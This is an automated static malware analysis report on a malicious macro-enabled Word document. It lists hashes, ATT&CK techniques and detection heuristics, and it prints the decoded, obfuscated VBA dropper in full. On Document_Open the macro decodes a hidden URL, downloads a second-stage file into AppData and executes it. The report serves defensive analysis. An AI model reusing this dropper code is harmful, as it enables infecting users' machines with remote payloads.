Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 83135e2aef4a263b…

MALICIOUS

Office (OOXML)

19.9 KB Created: 2015-10-18 21:55:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-08-10
MD5: f38b2cceeb90ae42630b4edc5577b583 SHA-1: bce627bcfc77c401a263585388cadb3d40db0b89 SHA-256: 83135e2aef4a263b07a0ed279240bc78a7a22a4546589de034821583cd0ae4b3
318 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

This OOXML document contains a VBA macro that executes upon opening. The macro utilizes WScript.Shell and CreateObject to download a file via HTTP using Microsoft.XMLHTTP and save it to the user's AppData directory. The script then attempts to save the downloaded content to a file named '[WjzOkXa z]_L`lti5l l' within the AppData folder, indicating it's a downloader for a second-stage payload. The presence of a Document_Open macro and the instruction to 'Enable Editing and Content' strongly suggest a malicious dropper.

Heuristics 10

  • ClamAV: Doc.Dropper.Agent-1695161 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-1695161
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    CreateObject("WScript.Shell").Run Environ("appdata") & "\" & ³ª»¹³¾¹´»®··¡©¸ª£¶¥µ£¡¾¸¶³½»¦·©¦¨¡°º¨¨¢´°¬£¸«°£©º¿¿¾®¸´¸¥´³¼¾¯»¥µ¡©º¼§º½ª¤¹¯¹²®¡¡¿µ¿·¹¦¹¿¼¨©´®°¤¦°»«("[WjzOkXa z]_L`lti5l l")
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        .write ¥´³¼¾¯»¥µ¡©º¼§º½ª¤¹¯¹²®¡¡¿µ¿·¹¦¹¿¼¨©´®°¤¦°»«²¦¡½»£¢®¢²·°«¦¦§¤º¾¬¶½¼©§¥ªµ¾º°ª©³«¨°¢¬¤»»¤²¹¦¶¦¸¬´¬¥©²¨.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim ¥´³¼¾¯»¥µ¡©º¼§º½ª¤¹¯¹²®¡¡¿µ¿·¹¦¹¿¼¨©´®°¤¦°»«²¦¡½»£¢®¢²·°«¦¦§¤º¾¬¶½¼©§¥ªµ¾º°ª©³«¨°¢¬¤»»¤²¹¦¶¦¸¬´¬¥©²¨: Set ¥´³¼¾¯»¥µ¡©º¼§º½ª¤¹¯¹²®¡¡¿µ¿·¹¦¹¿¼¨©´®°¤¦°»«²¦¡½»£¢®¢²·°«¦¦§¤º¾¬¶½¼©§¥ªµ¾º°ª©³«¨°¢¬¤»»¤²¹¦¶¦¸¬´¬¥©²¨ = CreateObject("Microsoft.XMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        .savetofile Environ("appdata") & "\" & ³ª»¹³¾¹´»®··¡©¸ª£¶¥µ£¡¾¸¶³½»¦·©¦¨¡°º¨¨¢´°¬£¸«°£©º¿¿¾®¸´¸¥´³¼¾¯»¥µ¡©º¼§º½ª¤¹¯¹²®¡¡¿µ¿·¹¦¹¿¼¨©´®°¤¦°»«("[WjzOkXa z]_L`lti5l l"), 2
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6625 bytes
SHA-256: b08b3be038f7f09b238ebf221be0784c9ae9dfc660a569402cd331971535557c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub «¦¦§¤º¾¬¶½¼©§¥ªµ¾º°ª©³«¨°¢¬¤»»¤²¹¦¶¦¸¬´¬¥©²¨¶¤³¶´ºª¢³´¹§ª·¸¤°¼¯º¢¥¤¥£«§£·¨¨²¥¤¨·§»º¡¨µ¢§²¸££ªª¶»¬µ¯´(®£µ¢¤§´²¿¶¼¿½ª¡°¼½«³©¹®¶º©¥«¸µ¶µ¸¢¦¢¯²§³µ·²¯³ª»¹³¾¹´»®··¡©¸ª£¶¥µ£¡¾¸¶³½»¦·©¦¨¡°º¨¨¢´°¬£¸«°£©º¿¿¾®¸´¸)
Dim ¥´³¼¾¯»¥µ¡©º¼§º½ª¤¹¯¹²®¡¡¿µ¿·¹¦¹¿¼¨©´®°¤¦°»«²¦¡½»£¢®¢²·°«¦¦§¤º¾¬¶½¼©§¥ªµ¾º°ª©³«¨°¢¬¤»»¤²¹¦¶¦¸¬´¬¥©²¨: Set ¥´³¼¾¯»¥µ¡©º¼§º½ª¤¹¯¹²®¡¡¿µ¿·¹¦¹¿¼¨©´®°¤¦°»«²¦¡½»£¢®¢²·°«¦¦§¤º¾¬¶½¼©§¥ªµ¾º°ª©³«¨°¢¬¤»»¤²¹¦¶¦¸¬´¬¥©²¨ = CreateObject("Microsoft.XMLHTTP")
Dim ¶¤³¶´ºª¢³´¹§ª·¸¤°¼¯º¢¥¤¥£«§£·¨¨²¥¤¨·§»º¡¨µ¢§²¸££ªª¶»¬µ¯´®£µ¢¤§´²¿¶¼¿½ª¡°¼½«³©¹®¶º©¥«¸µ¶µ¸¢¦¢¯²§³µ·²¯: Set ¶¤³¶´ºª¢³´¹§ª·¸¤°¼¯º¢¥¤¥£«§£·¨¨²¥¤¨·§»º¡¨µ¢§²¸££ªª¶»¬µ¯´®£µ¢¤§´²¿¶¼¿½ª¡°¼½«³©¹®¶º©¥«¸µ¶µ¸¢¦¢¯²§³µ·²¯ = CreateObject("Adodb.Stream")
¥´³¼¾¯»¥µ¡©º¼§º½ª¤¹¯¹²®¡¡¿µ¿·¹¦¹¿¼¨©´®°¤¦°»«²¦¡½»£¢®¢²·°«¦¦§¤º¾¬¶½¼©§¥ªµ¾º°ª©³«¨°¢¬¤»»¤²¹¦¶¦¸¬´¬¥©²¨.Open "GET", ®£µ¢¤§´²¿¶¼¿½ª¡°¼½«³©¹®¶º©¥«¸µ¶µ¸¢¦¢¯²§³µ·²¯³ª»¹³¾¹´»®··¡©¸ª£¶¥µ£¡¾¸¶³½»¦·©¦¨¡°º¨¨¢´°¬£¸«°£©º¿¿¾®¸´¸, False
¥´³¼¾¯»¥µ¡©º¼§º½ª¤¹¯¹²®¡¡¿µ¿·¹¦¹¿¼¨©´®°¤¦°»«²¦¡½»£¢®¢²·°«¦¦§¤º¾¬¶½¼©§¥ªµ¾º°ª©³«¨°¢¬¤»»¤²¹¦¶¦¸¬´¬¥©²¨.Send
With ¶¤³¶´ºª¢³´¹§ª·¸¤°¼¯º¢¥¤¥£«§£·¨¨²¥¤¨·§»º¡¨µ¢§²¸££ªª¶»¬µ¯´®£µ¢¤§´²¿¶¼¿½ª¡°¼½«³©¹®¶º©¥«¸µ¶µ¸¢¦¢¯²§³µ·²¯
    .Type = 1
    .Open
    .write ¥´³¼¾¯»¥µ¡©º¼§º½ª¤¹¯¹²®¡¡¿µ¿·¹¦¹¿¼¨©´®°¤¦°»«²¦¡½»£¢®¢²·°«¦¦§¤º¾¬¶½¼©§¥ªµ¾º°ª©³«¨°¢¬¤»»¤²¹¦¶¦¸¬´¬¥©²¨.responseBody
    .savetofile Environ("appdata") & "\" & ³ª»¹³¾¹´»®··¡©¸ª£¶¥µ£¡¾¸¶³½»¦·©¦¨¡°º¨¨¢´°¬£¸«°£©º¿¿¾®¸´¸¥´³¼¾¯»¥µ¡©º¼§º½ª¤¹¯¹²®¡¡¿µ¿·¹¦¹¿¼¨©´®°¤¦°»«("[WjzOkXa z]_L`lti5l l"), 2
End With
End Sub
Sub Document_Open()
«¦¦§¤º¾¬¶½¼©§¥ªµ¾º°ª©³«¨°¢¬¤»»¤²¹¦¶¦¸¬´¬¥©²¨¶¤³¶´ºª¢³´¹§ª·¸¤°¼¯º¢¥¤¥£«§£·¨¨²¥¤¨·§»º¡¨µ¢§²¸££ªª¶»¬µ¯´ ³ª»¹³¾¹´»®··¡©¸ª£¶¥µ£¡¾¸¶³½»¦·©¦¨¡°º¨¨¢´°¬£¸«°£©º¿¿¾®¸´¸¥´³¼¾¯»¥µ¡©º¼§º½ª¤¹¯¹²®¡¡¿µ¿·¹¦¹¿¼¨©´®°¤¦°»«("o{{wA66@8599@5>@59:8A?7?76o8u85l l")
CreateObject("WScript.Shell").Run Environ("appdata") & "\" & ³ª»¹³¾¹´»®··¡©¸ª£¶¥µ£¡¾¸¶³½»¦·©¦¨¡°º¨¨¢´°¬£¸«°£©º¿¿¾®¸´¸¥´³¼¾¯»¥µ¡©º¼§º½ª¤¹¯¹²®¡¡¿µ¿·¹¦¹¿¼¨©´®°¤¦°»«("[WjzOkXa z]_L`lti5l l")

End Sub
Function ³ª»¹³¾¹´»®··¡©¸ª£¶¥µ£¡¾¸¶³½»¦·©¦¨¡°º¨¨¢´°¬£¸«°£©º¿¿¾®¸´¸¥´³¼¾¯»¥µ¡©º¼§º½ª¤¹¯¹²®¡¡¿µ¿·¹¦¹¿¼¨©´®°¤¦°»«(²¦¡½»£¢®¢²·°«¦¦§¤º¾¬¶½¼©§¥ªµ¾º°ª©³«¨°¢¬¤»»¤²¹¦¶¦¸¬´¬¥©²¨¶¤³¶´ºª¢³´¹§ª·¸¤°¼¯º¢¥¤¥£«§£·¨¨²¥¤¨·§»º¡¨µ¢§)
For ²¸££ªª¶»¬µ¯´®£µ¢¤§´²¿¶¼¿½ª¡°¼½«³©¹®¶º©¥«¸µ¶µ¸¢¦¢¯²§³µ·²¯³ª»¹³¾¹´»®··¡©¸ª£¶¥µ£¡¾¸¶³½»¦·©¦¨¡°º¨¨¢´°¬£¸ = 1 To Len(²¦¡½»£¢®¢²·°«¦¦§¤º¾¬¶½¼©§¥ªµ¾º°ª©³«¨°¢¬¤»»¤²¹¦¶¦¸¬´¬¥©²¨¶¤³¶´ºª¢³´¹§ª·¸¤°¼¯º¢¥¤¥£«§£·¨¨²¥¤¨·§»º¡¨µ¢§)
«°£©º¿¿¾®¸´¸¥´³¼¾¯»¥µ¡©º¼§º½ª¤¹¯¹²®¡¡¿µ¿·¹¦¹¿¼¨©´®°¤¦°»«²¦¡½»£¢®¢²·°«¦¦§¤º¾¬¶½¼©§¥ªµ¾º°ª©³«¨°¢¬¤»»¤² = Mid(²¦¡½»£¢®¢²·°«¦¦§¤º¾¬¶½¼©§¥ªµ¾º°ª©³«¨°¢¬¤»»¤²¹¦¶¦¸¬´¬¥©²¨¶¤³¶´ºª¢³´¹§ª·¸¤°¼¯º¢¥¤¥£«§£·¨¨²¥¤¨·§»º¡¨µ¢§, ²¸££ªª¶»¬µ¯´®£µ¢¤§´²¿¶¼¿½ª¡°¼½«³©¹®¶º©¥«¸µ¶µ¸¢¦¢¯²§³µ·²¯³ª»¹³¾¹´»®··¡©¸ª£¶¥µ£¡¾¸¶³½»¦·©¦¨¡°º¨¨¢´°¬£¸, 1)
«°£©º¿¿¾®¸´¸¥´³¼¾¯»¥µ¡©º¼§º½ª¤¹¯¹²®¡¡¿µ¿·¹¦¹¿¼¨©´®°¤¦°»«²¦¡½»£¢®¢²·°«¦¦§¤º¾¬¶½¼©§¥ªµ¾º°ª©³«¨°¢¬¤»»¤² = Chr(Asc(«°£©º¿¿¾®¸´¸¥´³¼¾¯»¥µ¡©º¼§º½ª¤¹¯¹²®¡¡¿µ¿·¹¦¹¿¼¨©´®°¤¦°»«²¦¡½»£¢®¢²·°«¦¦§¤º¾¬¶½¼©§¥ªµ¾º°ª©³«¨°¢¬¤»»¤²) - 7)
¹¦¶¦¸¬´¬¥©²¨¶¤³¶´ºª¢³´¹§ª·¸¤°¼¯º¢¥¤¥£«§£·¨¨²¥¤¨·§»º¡¨µ¢§²¸££ªª¶»¬µ¯´®£µ¢¤§´²¿¶¼¿½ª¡°¼½«³©¹®¶º©¥«¸µ¶µ = ¹¦¶¦¸¬´¬¥©²¨¶¤³¶´ºª¢³´¹§ª·¸¤°¼¯º¢¥¤¥£«§£·¨¨²¥¤¨·§»º¡¨µ¢§²¸££ªª¶»¬µ¯´®£µ¢¤§´²¿¶¼¿½ª¡°¼½«³©¹®¶º©¥«¸µ¶µ + «°£©º¿¿¾®¸´¸¥´³¼¾¯»¥µ¡©º¼§º½ª¤¹¯¹²®¡¡¿µ¿·¹¦¹¿¼¨©´®°¤¦°»«²¦¡½»£¢®¢²·°«¦¦§¤º¾¬¶½¼©§¥ªµ¾º°ª©³«¨°¢¬¤»»¤²
Next
³ª»¹³¾¹´»®··¡©¸ª£¶¥µ£¡¾¸¶³½»¦·©¦¨¡°º¨¨¢´°¬£¸«°£©º¿¿¾®¸´¸¥´³¼¾¯»¥µ¡©º¼§º½ª¤¹¯¹²®¡¡¿µ¿·¹¦¹¿¼¨©´®°¤¦°»« = ¹¦¶¦¸¬´¬¥©²¨¶¤³¶´ºª¢³´¹§ª·¸¤°¼¯º¢¥¤¥£«§£·¨¨²¥¤¨·§»º¡¨µ¢§²¸££ªª¶»¬µ¯´®£µ¢¤§´²¿¶¼¿½ª¡°¼½«³©¹®¶º©¥«¸µ¶µ
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10752 bytes
SHA-256: 6f85f200cbe204c4c3d9b2d2778df3be2f350c9490c9d2f26ff49cbaa2d84f1b